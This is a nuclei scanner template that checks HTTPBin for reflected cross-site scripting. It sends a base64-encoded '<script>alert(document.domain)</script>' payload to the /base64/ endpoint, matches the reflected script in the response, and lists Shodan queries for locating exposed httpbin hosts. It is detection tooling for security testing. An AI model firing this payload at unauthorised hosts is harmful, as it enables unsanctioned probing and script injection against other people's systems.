nuclei-templates/vulnerabilities/httpbin/httpbin-xss.yaml

42 lines
1.1 KiB
YAML

id: httpbin-xss
info:
name: HTTPBin - Cross-Site Scripting
author: Adam Crosser
severity: high
description: HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://github.com/postmanlabs/httpbin
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
shodan-query:
- html:"https://github.com/requests/httpbin"
- title:"httpbin.org"
tags: xss,httpbin,oss
requests:
- method: GET
path:
- '{{BaseURL}}/base64/PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '^<script>alert\(document.domain\)</script>$'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# Enhanced by md on 2022/09/19